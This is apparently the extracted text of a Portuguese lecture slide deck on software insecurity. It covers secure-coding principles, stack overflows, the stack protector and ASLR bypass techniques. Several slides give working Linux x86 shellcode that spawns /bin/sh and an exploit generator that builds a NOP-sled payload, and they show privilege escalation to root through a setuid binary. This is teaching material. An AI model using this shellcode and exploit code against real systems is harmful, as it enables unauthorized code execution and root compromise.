                                                             [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex9 stack_protector_ex9.c
                                                             [rafael@centos stack protector]$ ./stack_protector_ex9
                                                             str = 0xbfffe7e4
                                                             buf = 0xbfffe7e9
                                                             a = 0xbfffe7f8
                                                             b = 0xbfffe7f4
                                                             buf2 = 0xbfffe7fc
                                                             c = 0xbfffe7f0
                                                             fim
                                                             [rafael@centos stack protector]$
Stack Protector
                                                                     Não reodenamento de arrays
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             ; prólogo
                                                             push %ebp                                str
                                                             mov %esp,%ebp
                                                             sub $0x38,%esp                          buf
                                                             mov 0x8(%ebp),%eax
                                                             mov %eax,-x24(%ebp)                      c
                                                             mov %gs:0x14,%eax                        b
                                                             mov %eax,-0x4(%ebp)
                                                                                                      a
                                                             ;epílogo
                                                             mov      -0x4(%ebp),%eax                buf2
                                                             xor      %gs:0x14,%eax
                                                             je       0x804849e <func+154>          canary
                                                             call 0x804830c<__stack_chk_fail@plt>     ebp
                                                             leave                                  retaddr
                                                             ret
                                                                                                      str
Stack Protector
                                                              Não reodenamento de variáveis em structs
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                struct struc{                                       printf("buf = %pn", buf);
                                                                     char buf[20];                                  printf("a = %pn", &a);
                                                                     int a;                                         printf("s.buf = %pn", &s.buf);
                                                                };                                                  printf("s.a = %pn", &s.a);
                                                                                                                    printf("c = %pn", &c);
                                                                void func(char *str){                          }
                                                                     char buf[4];
                                                                     int a;                                    int main(int argc, char *argv[]){
                                                                     struct struc s;                                func(argv[1]);
                                                                     long c;                                        printf("fimn");
                                                                     printf("str = %pn", &str);               }
                                                             [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_exA stack_protector_exA.c
                                                             [rafael@centos stack protector]$ ./stack_protector_exA
                                                             str = 0xbfffe7d4
                                                             buf = 0xbfffe7e8
                                                             a = 0xbfffe7e4
                                                             s.buf = 0xbfffe7ec
                                                             s.a = 0xbfffe800
                                                             c = 0xbfffe7e0
                                                             fim
                                                             [rafael@centos stack protector]$
Stack Protector
                                                             Não reodenamento de variáveis em structs
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                              ;prólogo
                                                              push %ebp                                str
                                                              mov %esp,%ebp                             c
                                                              sub $0x48,%esp
                                                                                                        a
                                                              mov 0x8(%ebp),%eax
                                                              mov %eax,-x34(%ebp)
                                                              mov %gs:0x14,%eax                       buf
                                                              mov %eax,-0x4(%ebp)
                                                                                                      s.buf
                                                              ;epílogo
                                                              mov      -0x4(%ebp),%eax                 s.a
                                                              xor      %gs:0x14,%eax
                                                              je       0x80484a1 <func+157>          canary
                                                              call 0x804830c<__stack_chk_fail@plt>     ebp
                                                              leave                                  retaddr
                                                              ret
                                                                                                       str
Agenda
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Falhas de Software
                                                                Princípios de Segurança de Software
                                                                Introdução à Overflow de Memória
                                                                    Stack Overflow

                                                                    Heap Overflow

                                                                    Integer Overflow

                                                                Format String Bug
                                                                Técnicas Modernas
                                                                    WorX

                                                                    Stack Protector

                                                                    ASLR
ASLR
                                                                                    Definição
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Address Space Layout Randomization. Permite o
                                                                 mapeamento de blocos do programa para regiões
                                                                 aleatórias de memória, a fim de que os endereços base
                                                                 dos blocos não sejam predizíveis.

                                                                O endereço de cada bloco é calculado separadamente,
                                                                 de tal forma que o endereço de cada um não tenha
                                                                 nenhuma relação com os outros.

                                                                Os blocos são três: área executável, área mapeada, e
                                                                 área da stack.
ASLR
                                                                                                    Definição
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             [rafael@centos aslr]$ cat /proc/self/maps > catmaps1; cat /proc/self/maps > catmaps2
                                                             [rafael@centos aslr]$ diff -uNr catmaps1 catmaps2
                                                             --- catmaps1    2009-09-16 11:09:29.000000000 -0300
                                                             +++ catmaps2 2009-09-16 11:09:31.000000000 -0300
                                                             @@ -1,14 +1,14 @@
                                                             -00439000-0043a000 r-xp 00439000 00:00 0            [vdso]
                                                              00b1c000-00b36000 r-xp 00000000 fd:00 163878 /lib/ld-2.5.so
                                                              00b36000-00b37000 r-xp 00019000 fd:00 163878 /lib/ld-2.5.so
                                                              00b37000-00b38000 rwxp 0001a000 fd:00 163878 /lib/ld-2.5.so
                                                             +00b3c000-00b3d000 r-xp 00b3c000 00:00 0            [vdso]
                                                              00b3f000-00c7d000 r-xp 00000000 fd:00 166245 /lib/libc-2.5.so
                                                              00c7d000-00c7f000 r-xp 0013e000 fd:00 166245 /lib/libc-2.5.so
                                                              00c7f000-00c80000 rwxp 00140000 fd:00 166245 /lib/libc-2.5.so
                                                              00c80000-00c83000 rwxp 00c80000 00:00 0
                                                              08048000-0804d000 r-xp 00000000 fd:00 1474600 /bin/cat
                                                              0804d000-0804e000 rw-p 00004000 fd:00 1474600 /bin/cat
                                                             -09f36000-09f57000 rw-p 09f36000 00:00 0          [heap]
                                                             -b7d0d000-b7f0d000 r--p 00000000 fd:00 1596699 /usr/lib/locale/locale-archive
                                                             -b7f0d000-b7f0f000 rw-p b7f0d000 00:00 0
                                                             -bf963000-bf978000 rw-p bffea000 00:00 0         [stack]
                                                             +08ca3000-08cc4000 rw-p 08ca3000 00:00 0             [heap]
                                                             +b7da0000-b7fa0000 r--p 00000000 fd:00 1596699 /usr/lib/locale/locale-archive
                                                             +b7fa0000-b7fa2000 rw-p b7fa0000 00:00 0
                                                             +bf871000-bf886000 rw-p bffea000 00:00 0          [stack]
ASLR
                                                                                Área executável
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Apenas 16 bits são randomizados, do bit 12 ao bit 27
                                                                 do endereço.
ASLR
                                                                                 Área mapeada
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                16 bits são randomizados, do bit 12 ao bit 27 do
                                                                 endereço.

                                                                Após obtido o endereço base da heap, um offset é
                                                                 gerado randomicamente, marcando o início da mesma
                                                                 e mantendo um alinhamento de 64k.
ASLR
                                                                                  Área da stack
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                16 bits são randomizados, do bit 4 ao bit 27 do
                                                                 endereço.

                                                                Após obtido o endereço base da stack, um offset é
                                                                 gerado randomicamente para marcar o início da
                                                                 mesma.
ASLR
                                                                                     /proc
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Sem o conhecimento dos endereços de memória do
                                                                 programa, para onde retornar?

                                                                O ASLR dificulta a execução de um ataque, porém
                                                                 para um ataque local: /proc/<pid>/maps ou
                                                                 /proc/<pid>/stat.
ASLR
                                                                                  Força bruta
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 Chamada à fork mantém o mapa de memória do
                                                                 programa intacto.

                                                                Em um servidor que bifurca para tratar cada conexão, é
                                                                 possível implementar ataques de força bruta. Caso o
                                                                 payload não ganhe o eip e o programa quebre, o
                                                                 processo pai continua rodando e uma nova conexão
                                                                 pode ser iniciada.
ASLR
                                                                   Áreas de memória não randomizadas
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                A randomização não precisa ser feita em todas as áreas
                                                                 de memória. Pode haver setores não randomizados.

                                                                Pode-se utilizar código da .text ou de bibliotecas
                                                                 compartilhadas para ganhar o controle do eip.

                                                                Caso um ponteiro para o payload seja conhecido, pode-
                                                                 se usar instruções do programa ou utilizar dados brutos
                                                                 do mesmo como instruções para chegar à execução do
                                                                 payload. Através de ret2eax, ret2esp, ret2ret, ret2pop.
ASLR
                                                                                          ret2eax
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Payload retornado pela função explorada.

                                                                Sobrescrever endereço de retorno para executar: jmp
                                                                 eax.

                                                                    vetor de injeção
                                                                                payload              &(jmp eax)   ...
                                                                    função vulnerável
                                                                     buffer explorado EBP anterior    retaddr     ...


                                                                   eax
ASLR
                                                                                          ret2esp
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Payload na stack, acima do endereço de retorno.

                                                                Função explorada não manipula strings (Não coloca
                                                                 NULL).

                                                                Retornar para instrução: jmp [esp].
                                                                                                                esp
                                                                    vetor de injeção
                                                                                payload              &(jmp esp)       ptr buffer
                                                                    função vulnerável
                                                                     buffer explorado EBP anterior    retaddr         ptr buffer
ASLR
                                                                                           ret2ret
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Payload na stack, acima do endereço de retorno.

                                                                Função explorada não manipula strings (Não coloca
                                                                 NULL).

                                                                Retornar para instrução: ret.
                                                                                                               esp
                                                                    vetor de injeção
                                                                                payload              &(ret)          ptr buffer
                                                                    função vulnerável
                                                                     buffer explorado EBP anterior   retaddr         ptr buffer
ASLR
                                                                                             ret2pop
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Payload na stack, acima do endereço de retorno.

                                                                Retornar para instrução leave-ret.

                                                                                                              esp
                                                                 vetor de injeção
                                                                             payload              &(leave-ret)      0x00   ptr buffer

                                                                 função vulnerável
                                                                  buffer explorado EBP anterior     retaddr          ...   ptr buffer

(In)Segurança De Software, Quebrando Códigos

  • 1.
    (In)Segurança de Software Quebrando Códigos Rafael Rosa 10/2008 rafaeltbh *nospan* yahoo dot com dot br
  • 2.
    Agenda (In)Segurança de Software,Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 3.
    Agenda (In)Segurança de Software,Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 4.
    O que éSoftware? Definição (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Software é uma sequência de instruções a serem seguidas na manipulação, redirecionamento, ou modificação de um conjunto de dados.  Conjunto de procedimentos, documentação e estruturas de dados que visam manipular dados.
  • 5.
    Software Sempre Falha Causas (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de software só existem porque as pessoas que os constroem estão susceptíveis a falhas.  Falta de experiência para reconhecer e remover falhas e defeitos na fase de projeto e de desenvolvimento.  Falta de conhecimento de princípios básicos de desenvolvimento seguro.
  • 6.
    Quando o SoftwareFalha Consequências (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Expõe dados confidenciais à usuários não autorizados.  Programa pode terminar a execução ao receber entradas não esperadas.  Pode permitir injeção e execução de código malicioso.
  • 7.
    Correção de SoftwareDefeituoso Manutenção (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Desenvolvedores só podem aplicar patchs em bugs conhecidos. Guardados a sete chaves por grupos de invasores.  Patchs geralmente não são aplicados por desconhecimento dos usuários e por comodismo dos administradores de sistema (sistema funciona então não vou mexer, minha sistema não vai ser atacado).
  • 8.
    Correção de SoftwareDefeituoso Manutenção (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Correções precisam ser feitas muito rapidamente por necessidades de mercado, com isso o que deveria apenas corrigir uma vulnerabilidade pode introduzir um série de novas vulnerabilidades.  Geralmente corrigem os sintomas, não a real causa do problema.
  • 9.
    Desenvolvimento de Software Dificuldades (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Complexidade.  Extensibilidade.  Conectividade.
  • 10.
    Dificuldades Complexidade (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Software está se tornando cada vez mais complexo, o que aumenta a quantidade de defeitos de projeto.  Número cada vez maior de linhas de código. Mais bugs.  Menor funcionalidade significa menos risco de exposição.
  • 11.
    Dificuldades Extensibilidade (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Permite a adição de novas funcionalidades a um sistema. Plug-ins, drivers de dispositivo e módulos dinamicamente carregados.  Recursos que permitem extensibilidade devem ser bem projetados. Difícil proteger algo que ainda não foi desenvolvido.
  • 12.
    Dificuldades Conectividade (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Popularização da Internet. Enorme quantidade de sistemas de software trocando informações sigilosas via rede.  Alta conectividade entre usuários domésticos e infra- estruturas críticas.  Aumento do número de vetores de ataque.
  • 13.
    (In)Segurança de Software,Quebrando Códigos - Rafael Rosa    Bug. Falha. Defeito. Problemas Desenvolvimento de Software
  • 14.
    Problemas Bug (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Existe somente em código, são erros comuns cometidos por programadores. Copiar 20 bytes para um buffer de tamanho 10.
  • 15.
    Problemas Defeito (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Condição anormal que pode existir em qualquer artefato na fase de desenvolvimento de software. No início de uma comunicação criptografada os dois nós trocam as chaves assimétricas, e então se inicia um sessão criptografada. Através dessa sessão os dois nós trocam uma chave simétrica, de modo que os dados possam então ser criptografados pela mesma.
  • 16.
    Problemas Falha (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Comportamento diferente do esperado. Defeito ou bug ativado. Quando um atacante se coloca no meio de uma conexão criptografada desde o início do handshake, ele pode burlar toda a segurança imposta pelo método de chave assimétrica. Com isso é possível obter a chave simétrica e então escutar ou injetar dados na conexão.
  • 17.
    Agenda (In)Segurança de Software,Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 18.
    Segurança de Software (In)Segurançade Software, Quebrando Códigos - Rafael Rosa  Segurança é relativa. Software tem que ser seguro contra o quê? E contra quem?  Mecanismos de segurança não podem ser simplesmente adicionados à um sistema, tem que ser considerados desde o início do projeto.
  • 19.
    Segurança de Software (In)Segurançade Software, Quebrando Códigos - Rafael Rosa  Cada ambiente tem que ser analisado cuidadosamente para não afetar a usabilidade, funcionalidade e eficiência do sistema de software.  Software seguro deve prover confidenciabilidade, autenticação, controle de acesso, integridade, disponibilidade e não-repúdio.
  • 20.
    Software Seguro Proteção da ponta mais fraca (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Software é tão seguro quanto sua ponta mais fraca.  Atacantes vão seguir pelo caminho de menor resistência.
  • 21.
    Software Seguro Defesa em profundidade (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Mecanismos de segurança devem ser redundantes. Permite vários pontos de falha.  Evita que um único ponto de falha comprometa a segurança do sistema como um todo.  Aplicação deve ser projetada como se todos os outros mecanismos de segurança do sistema tivessem sido burlados.
  • 22.
    Software Seguro Falhar de modo seguro (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas são inevitáveis e precisam ser planejadas de modo a não expôr o sistema. Recuperação de falhas é um aspecto essencial da engenharia de segurança.  Após uma falha, alterações devem ser desfeitas de modo que o sistema volte a um estado seguro.  Valores de retorno devem ser cuidadosamente checados.
  • 23.
    Software Seguro Princípio de menor privilégio (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Mínimo de permissão durante o menor tempo possível.  Desistir de permissões elevadas assim que ações que as exigiam forem completadas.  Se uma vulnerabilidade for explorada o atacante terá tantas regalias quanto o processo quebrado.
  • 24.
    Software Seguro Compartimentalização (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Separar o sistema em tantos compartimentos quanto for possível, de modo que cada compartimento tenha o mínimo de privilégio necessário para realizar as operações de que está encarregado.  Confinar códigos com alto nível de privilégio. Todo dano ocorrerá em um “ambiente” controlado.
  • 25.
    Software Seguro KISS (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Complexidade aumenta o risco de defeitos.  Reutilização de componentes que já provaram sua qualidade deve ser praticada.  Não é inteligente criar rotinas próprias de criptografia e garantia de integridade.
  • 26.
    Software Seguro Privacidade (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Feedback para o usuário é diferente de prover muita informação.  Privacidade dos usuários não deve ser comprometida. Dados pessoais devem ser bem protegidos.
  • 27.
    Software Seguro Esconder segredos não é fácil (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Ofuscamento de código e segurança por obscuridade não funcionam. Acesso ao binário significa acesso à informação.  Deve-se considerar que o atacante conhece o sistema tanto quanto o desenvolvedor.
  • 28.
    Software Seguro Não confiar em interfaces externas (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Toda interface com o software é um possível vetor de ataque.  Entrada de qualquer interface do sistema deve ser vista com desconfiança. Não se deve assumir nada em relação a I/O.  Suposições incorretas sobre o ambiente de execução do sistema resultam em problemas de segurança.
  • 29.
    Software Seguro Mecanismo menos comum (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Entidades diferentes não devem compartilhar mecanismos que permitem acessos à recursos.  O mesmo usuário de um SGBD não deve ser compartilhado entre duas aplicações. Exploração de uma aplicação pode comprometer a outra.
  • 30.
    Software Seguro Mediação Completa (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Em toda operação realizada por um usuário deve-se validar a identidade do agente e checar as permissões do mesmo em relação à tarefa em questão.
  • 31.
    Analisando Software Ferramentas (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Depurador.  Disassembler.  Descompilador.  Ferramenta de auditoria de segurança.  Fuzzer.
  • 32.
    Analisando Software Depurador (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Executa um programa passo a passo, permite análise de registradores, dumps de memória, configuração de pontos de interrupção,  OllyDbg, SofIce, gdb.
  • 33.
    Analisando Software Disassembler (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Faz engenharia reversa do código de máquina gerando código assembly.  IDAPro, OllyDbg, gdb, Valgrind.
  • 34.
    Analisando Software Descompilador (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Faz engenharia reversa do código de máquina gerando código de alto nível. Código um tanto obscuro.  Depende da quantidade de informação da linguagem de alto nível contida no binário.  Rec, dcc.
  • 35.
    Analisando Software Ferramenta de auditoria de segurança (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Faz auditoria de código fonte em busca de padrões previamente conhecidos como “problemáticos”. Descrevem o problema encontrado e propõe correções.  RATS, Flawfinder, ITS4.
  • 36.
    Analisando Software Fuzzers (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Injeta dados inválidos, mal formatados, maliciosos, e inesperados em pontos de entrada de dados do software. Se ocorrer algo diferente do esperado, o defeito é detectado.  Os dados de entrada por sem baseados tanto em white- box quanto em black-box.  FuzzGrind, tmin.
  • 37.
    Agenda (In)Segurança de Software,Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 38.
    Buffer Overflow O que é? (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Ocorre quando um bug permite que se possa extravasar a quantidade de memória reservada à um buffer, permitindo que dados sejam gravados em endereços de memória contíguos ao mesmo  Erro de programação comum em linguagem C. Muitos poderes exigem muitas responsabilidades.
  • 39.
    Buffer Overflow E daí? (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Esse endereço contíguo pode ser um frame de pilha, endereço de retorno, ponteiro de função ou uma variável de controle da aplicação.  Esquemas de proteção em software podem ser facilmente quebrados caso sejam controlados por dados (flags, variáveis de controle) em memória.
  • 40.
    Buffer Overflow Funções vulneráveis (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  gets, strcpy, strcat, sprintf, scanf, sscanf, fscanf, streadd, strecpy, strtrns, getopt, getchar, fgetc, getc, read, bcopy, fgets, memcpy, snprintf, strncpy, syslog.
  • 41.
    Buffer Overflow Área de memória vulnerável (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Overflows podem ocorrer na stack ou na heap.  Na heap são mais difíceis de explorar e de identificar.
  • 42.
    Agenda (In)Segurança de Software,Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 43.
    Stack Overflow Stack (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Área da memória reservada para chamadas de função e armazenamento de variáveis locais. esp var2 var1 buffer1 ebp ebp salvo ret arg1 arg2
  • 44.
    Stack Overflow Mapeamento da Stack (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Sistemas unix mapeiam a stack para regiões altas de memória: 0xbffeb000 - 0xc0000000  Sistemas Windows mapeiam para regiões baixas: 0x0022ff1f - 0x00096cbf
  • 45.
    Stack Overflow Mapa de memória no Linux (In)Segurança de Software, Quebrando Códigos - Rafael Rosa memória baixa não usada .init, .text, .rodata .data, .bss heap Bibliotecas compartilhadas stack memória alta kernel
  • 46.
    Stack Overflow Mapa de memória no Windows (In)Segurança de Software, Quebrando Códigos - Rafael Rosa memória baixa kernel stack heap .text .data, .rodata, .bss Bibliotecas memória alta compartilhadas
  • 47.
    Stack Overflow Programa vulnerável (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void func(char *str){ int main(int argc, char *argv[]){ char buffer[16]; if(argc != 2){ strcpy(buffer, str); printf("uso: %s <param>n", argv[0]); printf("%sn", buffer); return 1; } } func(argv[1]); printf("fimn"); } [rafael@centos stack]$ ./stack_overflow_ex1 AAAABBBBCCCCDDDDEEEEFFFF AAAABBBBCCCCDDDDEEEEFFFF Segmentation fault [rafael@centos stack]$
  • 48.
    Stack Overflow Stack do programa (In)Segurança de Software, Quebrando Códigos - Rafael Rosa crescimento da stack buffer[16] EBP anterior end retorno ptr str esp ebp
  • 49.
    Stack Overflow Vetor de injeção (In)Segurança de Software, Quebrando Códigos - Rafael Rosa Injetar vetor de ataque de modo a controlar o endereço de retorno. vetor de injeção buffer[16] EBP anterior end retorno ptr str
  • 50.
    Stack Overflow Executando código inativo (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void foo(){ printf("nunca entra aquin"); int main(){ exit(1); func(); } printf("fimn"); } void func(){ char buffer[16]; strcpy(buffer, "AAAABBBBCCCCDDD"); *((long*)(buffer+20)) = (long)&foo; printf("%sn", buffer); } [rafael@centos stack]$ ./stack_overflow_ex2 AAAABBBBCCCCDDD nunca entra aqui [rafael@centos stack]$
  • 51.
    Stack Overflow Controlando endereço de retorno (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Endereço de retorno sobrescrito. AAAA...DDD EBP anterior ptr foo ... buffer[16] EBP anterior end retorno ... esp ebp crescimento da stack
  • 52.
    Stack Overflow Executando um shell (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  E se fosse um shell? void foo(){ char *params[2]; params[0] = "/bin/sh"; params[1] = NULL; execve(params[0], params, NULL); } [rafael@centos stack]$ ./stack_overflow_ex3 AAAABBBBCCCCDDD sh-3.2$
  • 53.
    Stack Overflow Planejando o ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa Não basta sobrescrever o endereço de retorno. Precisamos de um shellcode no nosso vetor de injeção. Endereço de retorno deve apontar para o payload, de modo a redirecionar o fluxo para o código de execução do shell.
  • 54.
    Stack Overflow Escrevendo shellcode (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Desassemblando chamada à execve(). movl $0x80484a8,0xfffffff4(%ebp) “/bin/sh' movl $0x0,0xfffffff8(%ebp) NULL mov 0xfffffff4(%ebp),%edx movl $0x0,0x8(%esp) NULL lea 0xfffffff4(%ebp),%eax mov %eax,0x4(%esp) /bin/sh mov %edx,(%esp) /bin/sh, NULL call 0x8048280 <execve>
  • 55.
    Stack Overflow Escrevendo shellcode (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Desassemblando execve(). mov 0x8(%ebp), %ebx “/bin/sh” mov 0xc(%ebp), %ecx {“/bin/sh”, NULL} mov 0x10(%ebp), %edx NULL mov $0xb, %eax 0xb int $0x80
  • 56.
    Stack Overflow Escrevendo shellcode (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  eax recebe 0xb.  Ponteiro para “/bin/sh” deve estar em ebx.  Ponteiro de strings em ecx.  Ponteiro NULL em edx.
  • 57.
    Stack Overflow Escrevendo shellcode (In)Segurança de Software, Quebrando Códigos - Rafael Rosa BITS 32 section .text global _start _start: push 0 ; empilha '0' push 0x68732f2f ; empilha “//sh” push 0x6e69622f ; empilha “/bin” mov ebx, esp ; ebx aponta para “/bin//sh” push 0 ; empilha NULL push ebx ; empilha endereço de “/bin//sh” mov ecx, esp ; ecx aponta para ponteiros de strings mov eax, 0xb ; eax recebe 0xb (execve) int 0x80 ; chamada de sistema
  • 58.
    Stack Overflow Testando o código (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Executando shellcode. [rafael@centos stack]$ nasm -f elf -o shellcode1.o shellcode1.asm [rafael@centos stack]$ ld -s -o shellcode1 shellcode1.o [rafael@centos stack]$ ./shellcode1 sh-3.2$ exit exit [rafael@centos stack]$  Gerando binário. [rafael@centos stack]$ nasm -f bin -o shellcode1.bin shellcode1.asm
  • 59.
    Stack Overflow Binário gerado (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Binário gerado possui 0x00, o que acarretaria no término de uma operação de string.
  • 60.
    Stack Overflow Escrevendo shellcode sem 0x00 (In)Segurança de Software, Quebrando Códigos - Rafael Rosa BITS 32 section .text global _start _start: xor eax,eax ; zera eax push eax ; empilha eax push 0x68732f2f ; empilha “//sh” push 0x6e69622f ; empilha “/bin” mov ebx, esp ; ebx aponta para “/bin//sh” push eax ; empilha NULL push ebx ; empilha endereço de “/bin//sh” mov ecx, esp ; ecx aponta para ponteiros de strings mov al, 0xb ; al recebe 0xb (execve) int 0x80 ; chamada de sistema
  • 61.
    Stack Overflow Testando o código (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Executando shellcode. [rafael@centos stack]$ nasm -f elf -o shellcode2.o shellcode2.asm [rafael@centos stack]$ ld -s -o shellcode2 shellcode2.o [rafael@centos stack]$ ./shellcode2 sh-3.2$ exit exit [rafael@centos stack]$  Gerando binário. [rafael@centos stack]$ nasm -f bin -o shellcode2.bin shellcode2.asm
  • 62.
    (In)Segurança de Software,Quebrando Códigos - Rafael Rosa Binário gerado Stack Overflow
  • 63.
    Stack Overflow Shellcode ganhando eip (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char shellcode[]= "x31xc0x50x68x2f” “x2fx73x68x68x2fx62x69x6ex89” int main(){ “xe3x50x53x89xe1xb0x0bxcdx80”; func(); printf("fimn"); void func(){ } char buffer[16]; strcpy(buffer, "AAAABBBBCCCCDDD"); *((long*)(buffer+20)) = (long)shellcode; printf("%sn", buffer); } [rafael@centos stack]$ ./stack_overflow_ex4 sh-3.2$ exit exit [rafael@centos stack]$
  • 64.
    Stack Overflow Codificando exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa Para criar o vetor de injeção levar em conta tamanho do buffer, alinhamento dos bytes, e restrições de entrada. Payload pode ser colocado em qualquer localização de memória conhecida
  • 65.
    Stack Overflow Codificando exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa ret deve estar nesse intevalo NOPs Shellcode ret... ret ret ret... buffer[] EBP anterior end retorno ... esp ebp crescimento da stack
  • 66.
    Stack Overflow Codificando exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Como prever a posição correta de retorno?  Stack geralmente é alocada no mesmo endereço. Conhecendo o início da stack fica fácil adivinhar onde o buffer a ser explorado está localizado.
  • 67.
    Stack Overflow Codificando exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa #define RETADDRS 0xbffff600 char shellcode[]= "x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1xb0x0bxcdx80"; int main(int argc, char **argv){ FILE *badfile; long *ptr; unsigned int ret; int n, i; char buffer[313]; if(argc != 2){ fprintf(stderr, "uso: %s <ret>n", argv[0]); return 1; }
  • 68.
    Stack Overflow Codificando exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa ret = RETADDRS - atoi(argv[1]); memset(&buffer, 0x90, 312); memcpy(buffer+120, shellcode, strlen(shellcode)); ptr = buffer + 120 + strlen(shellcode); /*alinhando em 4 bytes*/ ptr = ((char*)ptr) + (4 - strlen(shellcode)%4); n = (&buffer[311] - (char*)ptr)/4; for(i = 0; i < n; i++) ptr[i] = ret; buffer[312] = '0'; badfile = fopen("./badfile_ex5.bin", "w"); fwrite(buffer, 313, 1, badfile); fclose(badfile); }
  • 69.
    Stack Overflow Ganhando um shell (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos stack]$ ./exploit_stack_overflow_ex5 300 [rafael@centos stack]$ ./stack_overflow_ex5 `cat badfile_ex5.bin ` ������������������������������������������� ������������������������������������������� ����������������������������������1�Ph//shh/bin�� PS��1Ұ ̀�������������������������� ������������������������������������������� ������������������������������������������� ������������������������������������������� ������������ sh-3.2$  Pra que serve isso?
  • 70.
    Stack Overflow Ganhando acesso irrestrito (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Se o programa tivesse permissões elevadas: [root@centos stack]# chown root stack_overflow_ex5 [root@centos stack]# chmod +s stack_overflow_ex5 [root@centos stack]# ls -l stack_overflow_ex5 -rwsrwsrwx 1 root root 9109 2009-08-12 16:08 stack_overflow_ex5 [rafael@centos stack]$ ./exploit_stack_overflow_ex5 450 [rafael@centos stack]$ ./stack_overflow_ex5 `cat badfile_ex5.bin ` ������������������������������������������ ������������������������������������������ ������������������������������������1�Ph//shh/bin ��PS��1Ұ ̀������������������� ������������������������������������������ ������������������������������������������ ������������������������ # whoami root #
  • 71.
